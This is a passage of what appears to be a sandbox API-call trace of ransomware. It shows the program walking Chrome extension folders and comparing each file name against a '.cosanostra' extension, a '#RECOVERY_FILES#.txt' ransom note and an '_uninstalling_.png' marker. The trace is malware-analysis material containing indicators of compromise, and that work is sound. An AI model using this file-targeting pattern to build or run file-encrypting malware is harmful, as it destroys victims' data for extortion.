lpString2="_uninstalling_.png") returned 1 [0084.634] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 155 [0084.657] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.657] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.657] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.657] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 155 [0084.657] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.657] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.657] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.657] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 155 [0084.687] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.687] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.687] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.687] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 155 [0084.687] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.687] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.687] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.687] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 155 [0084.689] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.689] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.689] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.689] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 155 [0084.689] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.689] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.689] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.689] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 155 [0084.690] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.690] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.690] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.690] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 155 [0084.690] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.690] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.690] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.690] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 155 [0084.691] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.691] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.691] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.691] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 155 [0084.691] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.691] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.691] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.691] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 155 [0084.692] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.692] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.692] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.692] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 155 [0084.692] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.692] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.692] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.692] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 158 [0084.700] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.700] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.700] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.700] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 158 [0084.701] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.701] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.701] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.701] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 155 [0084.702] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.702] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.702] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.702] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 155 [0084.702] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.702] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.702] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.702] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 155 [0084.704] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.704] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.704] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.704] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 155 [0084.704] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.704] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.704] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.704] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 155 [0084.708] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.708] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.708] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.708] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 155 [0084.708] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.708] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.708] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.708] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 155 [0084.709] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.709] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.709] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.709] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 155 [0084.709] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.709] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.709] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.709] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 155 [0084.710] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.710] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.710] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.710] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 155 [0084.710] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.710] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.710] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.710] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 158 [0084.711] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.711] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.711] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.711] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 158 [0084.711] StrStrIW (lpFirst="computed_hashes.json", lpSrch=".cosanostra") returned 0x0 [0084.711] lstrcmpW (lpString1="computed_hashes.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.711] lstrcmpW (lpString1="computed_hashes.json", lpString2="_uninstalling_.png") returned 1 [0084.711] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 160 [0084.711] StrStrIW (lpFirst="verified_contents.json", lpSrch=".cosanostra") returned 0x0 [0084.711] lstrcmpW (lpString1="verified_contents.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.711] lstrcmpW (lpString1="verified_contents.json", lpString2="_uninstalling_.png") returned 1 [0084.711] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 162 [0084.788] StrStrIW (lpFirst="icon_128.png", lpSrch=".cosanostra") returned 0x0 [0084.788] lstrcmpW (lpString1="icon_128.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.788] lstrcmpW (lpString1="icon_128.png", lpString2="_uninstalling_.png") returned 1 [0084.788] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 142 [0084.788] StrStrIW (lpFirst="icon_16.png", lpSrch=".cosanostra") returned 0x0 [0084.788] lstrcmpW (lpString1="icon_16.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.788] lstrcmpW (lpString1="icon_16.png", lpString2="_uninstalling_.png") returned 1 [0084.788] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 141 [0084.788] StrStrIW (lpFirst="main.html", lpSrch=".cosanostra") returned 0x0 [0084.788] lstrcmpW (lpString1="main.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.788] lstrcmpW (lpString1="main.html", lpString2="_uninstalling_.png") returned 1 [0084.788] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 139 [0084.789] StrStrIW (lpFirst="main.js", lpSrch=".cosanostra") returned 0x0 [0084.789] lstrcmpW (lpString1="main.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.789] lstrcmpW (lpString1="main.js", lpString2="_uninstalling_.png") returned 1 [0084.789] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 137 [0084.789] StrStrIW (lpFirst="manifest.json", lpSrch=".cosanostra") returned 0x0 [0084.789] lstrcmpW (lpString1="manifest.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.789] lstrcmpW (lpString1="manifest.json", lpString2="_uninstalling_.png") returned 1 [0084.789] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 143 [0084.791] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.791] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.791] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.791] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 155 [0084.791] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.791] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.791] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.791] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 155 [0084.792] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.792] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.792] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.792] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 155 [0084.792] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.792] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.792] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.792] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 155 [0084.793] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.793] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.793] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.793] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 155 [0084.793] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.793] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.793] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.793] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 155 [0084.794] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.794] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.794] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.794] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 155 [0084.794] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.794] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.794] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.794] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 158 [0084.795] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.795] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.795] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.795] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 158 [0084.795] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.796] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.796] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.796] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 155 [0084.796] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.796] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.796] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.796] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 159 [0084.798] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.798] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.798] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.798] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 155 [0084.798] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.798] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.799] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.799] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 155 [0084.799] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.799] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.799] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.800] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 156 [0084.800] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.800] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.800] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.800] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 155 [0084.801] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.801] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.801] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.801] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 155 [0084.801] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.801] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.801] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.801] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 155 [0084.802] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.802] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.802] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.802] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 155 [0084.802] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.802] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.802] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.802] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 155 [0084.803] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.803] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.803] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.803] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 155 [0084.803] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.803] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.803] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.803] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 155 [0084.804] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.804] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.804] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.804] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 155 [0084.805] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.805] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.805] lstrcmpW 